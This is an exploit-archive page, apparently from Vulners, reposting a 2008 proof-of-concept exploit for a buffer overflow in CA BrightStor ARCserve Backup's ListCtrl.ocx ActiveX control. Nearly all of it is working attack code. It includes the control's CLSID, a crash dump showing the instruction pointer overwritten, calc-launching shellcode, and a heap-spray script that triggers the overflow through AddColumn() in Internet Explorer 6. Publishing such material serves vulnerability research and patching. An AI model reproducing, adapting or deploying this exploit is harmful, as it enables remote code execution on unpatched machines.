caarcserve-overflow.txt

🗓️ 17 Mar 2008 00:00:00Reported by Krystian KloskowskiType

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CA BrightStor ARCserve Backup r11.5 AddColumn() 0day ActiveX Remote Buffer Overflow Exploi

`<HTML>  
<!--  
CA BrightStor ARCserve Backup r11.5 AddColumn() 0day ActiveX Remote Buffer Overflow Exploit  
Bug discovered by Krystian Kloskowski (h07) <[email protected]>  
Tested on:   
- CA BrightStor ARCserve Backup r11.5 (ftp://ftp.ca.com/priv/trial/BABr11/BABLDr115/BABLDr115.zip)  
- IE 6   
- XP SP2 Polish  
Details:..  
  
Filename: CA\DSM\bin\ListCtrl.ocx  
File description: Unicenter DSM r11 List Control ATX  
CLSID: {BF6EFFF3-4558-4C4C-ADAF-A87891C5F3A3}  
ProgID: LISTCTRL.ListCtrlCtrl.1  
Version: 11.2.3.1895  
Company: CA  
  
AddColumn(%u4141%u4141..[128], 1);  
  
----------------------------------------------------------------  
Exception C0000005 (ACCESS_VIOLATION reading [41414141])  
----------------------------------------------------------------  
EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
ECX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
EDX=7C9037D8: 8B 4C 24 04 F7 41 04 06-00 00 00 B8 01 00 00 00  
ESP=0012A9C4: BF 37 90 7C AC AA 12 00-9C AF 12 00 C8 AA 12 00  
EBP=0012A9E4: 94 AA 12 00 8B 37 90 7C-AC AA 12 00 9C AF 12 00  
ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
EDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
EIP=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
----------------------------------------------------------------  
-->  
  
<object id="obj" classid="clsid:BF6EFFF3-4558-4C4C-ADAF-A87891C5F3A3"></object>  
  
<script>  
  
var shellcode = unescape("%u9090%u9090"+ //Windows Execute Command (calc)  
"%ue8fcD%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b"+  
"%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca"+  
"%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b"+  
"%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%uc031%u8b64%u3040"+  
"%uc085%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u808b%u00b0"+  
"%u0000%u688b%u5f3c%uf631%u5660%uf889%uc083%u507b%uf068%u048a"+  
"%u685f%ufe98%u0e8a%uff57%u63e7%u6c61c");  
  
var address = 0x0A0A0A0A;  
var block_size = 0x400000;  
var blocks = (address - block_size) / block_size;  
var filler = unescape("%u0A0A%u0A0A");  
var buf = unescape("%u0A0A%u0A0A");  
var buf_size = 128;  
  
while((filler.length * 2) < block_size) filler += filler;  
filler = filler.substring(0, block_size - shellcode.length);  
memory = new Array();  
for(i = 0; i < blocks; i++) memory[i] = filler + shellcode;  
while(buf.length < (buf_size * 2)) buf += buf;  
buf = buf.substring(0, buf_size);  
  
obj.AddColumn(buf, 1);  
  
</script>  
</HTML>  
`

17 Mar 2008 00:00Current

0.1Low risk

Vulners AI Score0.1